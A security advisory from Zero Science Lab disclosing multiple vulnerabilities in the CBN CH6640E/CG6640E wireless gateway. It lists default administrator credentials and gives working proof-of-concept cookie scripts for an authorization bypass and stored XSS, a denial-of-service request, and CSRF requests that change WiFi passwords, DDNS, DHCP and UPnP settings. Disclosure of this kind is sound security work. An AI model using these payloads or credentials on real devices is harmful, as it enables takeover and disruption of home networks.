
CBN CH6640E/CG6640E Wireless Gateway Series Multiple Vulnerabilities


Vendor: Compal Broadband Networks (CBN), Inc.
Product web page: http://www.icbn.com.tw
Affected version: Model: CH6640 and CH6640E
                  Hardware version: 1.0
                  Firmware version: CH6640-3.5.11.7-NOSH
                  Boot version: PSPU-Boot(BBU) 1.0.19.25m1-CBN01
                  DOCSIS mode: DOCSIS 3.0


Summary: The CBN CH6640E/CG6640E Wireless Gateway is designed for your home,
home office, or small business/enterprise. It can be used in households with
one or more computers capable of wireless connectivity for remote access to
the wireless gateway.

Default credentials:

admin/admin - Allow access gateway pages
root/compalbn - Allow access gateway, provisioning pages and provide more
                configuration information.

Desc: The CBN modem gateway suffers from multiple vulnerabilities including
authorization bypass information disclosure, stored XSS, CSRF and denial of
service.

Tested on: Compal Broadband Networks, Inc/Linux/2.6.39.3 UPnP/1.1 MiniUPnPd/1.7


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5203
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5203.php


04.10.2014

---



Authorization Bypass Information Disclosure Vulnerability
#########################################################

http://192.168.0.1/xml/CmgwWirelessSecurity.xml
http://192.168.0.1/xml/DocsisConfigFile.xml
http://192.168.0.1/xml/CmgwBasicSetup.xml
http://192.168.0.1/basicDDNS.html
http://192.168.0.1/basicLanUsers.html
http://192.168.0.1:5000/rootDesc.xml

Set cookie: userData to root or admin, reveals additional pages/info.

--
<html>
<body>
<script>
document.cookie="userData=root; expires=Thu, 09 Dec 2014 11:05:00 UTC; domain=192.168.0.1; path=/";
</script>
</body>
</html>
--


Denial of Service (DoS) for all WiFi connected clients (disconnect)
###################################################################

GET http://192.168.0.1/wirelessChannelStatus.html HTTP/1.1


Stored Cross-Site Scripting (XSS) Vulnerability
###############################################

Cookie: userData
Value: hax0r"><script>alert(document.cookie);</script>

--
<html>
<body>
<script>
document.cookie="hax0r"><script>alert(document.cookie);</script>; expires=Thu, 09 Dec 2014 11:05:00 UTC; domain=192.168.0.1; path=/";
</script>
</body>
</html>
--


Cross-Site Request Forgery (CSRF) Vulnerability
###############################################

DDNS config:
------------

GET http://192.168.0.1/basicDDNS.html?DdnsService=1&DdnsUserName=a&DdnsPassword=b&DdnsHostName=c# HTTP/1.1


Change wifi pass:
-----------------

GET http://192.168.0.1/setWirelessSecurity.html?Ssid=0&sMode=7&sbMode=1&encAlgm=3&psKey=NEW_PASSWORD&rekeyInt=0 HTTP/1.1


Add static mac address (static assigned dhcp client):
-----------------------------------------------------

GET http://192.168.0.1/setBasicDHCP1.html?action=add_static&MacAddress=38%3A59%3AF9%3AC3%3AE3%3AEF&LeasedIP=8 HTTP/1.1


Enable/Disable UPnP:
--------------------

GET http://192.168.0.1/setAdvancedOptions.html?action=apply&instance=undefined&UPnP=1 HTTP/1.1 (enable)
GET http://192.168.0.1/setAdvancedOptions.html?action=apply&instance=undefined&UPnP=2 HTTP/1.1 (disable)